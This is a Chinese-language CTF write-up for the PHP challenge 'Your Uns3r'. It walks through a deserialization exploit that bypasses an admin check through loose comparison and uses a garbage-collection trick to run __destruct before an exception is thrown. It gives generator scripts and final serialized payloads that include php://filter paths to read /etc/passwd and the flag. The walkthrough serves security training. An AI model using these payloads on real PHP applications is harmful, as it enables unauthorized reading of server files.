Your Uns3r
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php highlight_file(__FILE__); class User { public $username; public $value; public function exec() { $ser = unserialize(serialize(unserialize($this->value))); if ($ser != $this->value && $ser instanceof Access) { include($ser->getToken()); } } public function __destruct() { if ($this->username == "admin") { $this->exec(); } } }
class Access { protected $prefix; protected $suffix;
public function getToken() { if (!is_string($this->prefix) || !is_string($this->suffix)) { throw new Exception("Go to HELL!"); } $result = $this->prefix . 'lilctf' . $this->suffix; if (strpos($result, 'pearcmd') !== false) { throw new Exception("Can I have peachcmd?"); } return $result;
} }
$ser = $_POST["user"]; if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) { exit ("no way!!!!"); }
$user = unserialize($ser); throw new Exception("nonono!!!");
|
整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag
这里有两点要注意的,第一个就是throw new Exception("nonono!!!"); 第二个就是$this->username == "admin" 弱等于判断
浅析PHP GC垃圾回收机制及常见利用方式-先知社区
一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(
这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}
然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
class User { public $username = 0; public $value; }
class Access { protected $prefix = ""; protected $suffix = ""; }
$user = array(new User(),0); $user->value = serialize(new Access()); $payload = serialize($user);
echo $payload; ?>
|
Value是N,我打算后面的补上
这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class User { public $username = 0; public $value; }
class Access { protected $prefix = "php://filter/read=convert.base64-encode/resource=/"; protected $suffix = "/../../../../etc/passwd"; }
$access = new Access(); $user = new User();
$user->value = array($access); $user->value[0] = $access;
$user->value = serialize($access);
echo serialize($user); ?>
|
这里生成的value放到上面的exp输出的序列化中
1 2 3
| a:2:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";N;}i:1;i:0;}
O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}
|
1 2 3 4
| 最终payload a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}i:1;i:0;}
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../flag";}";}i:1;i:0;}
|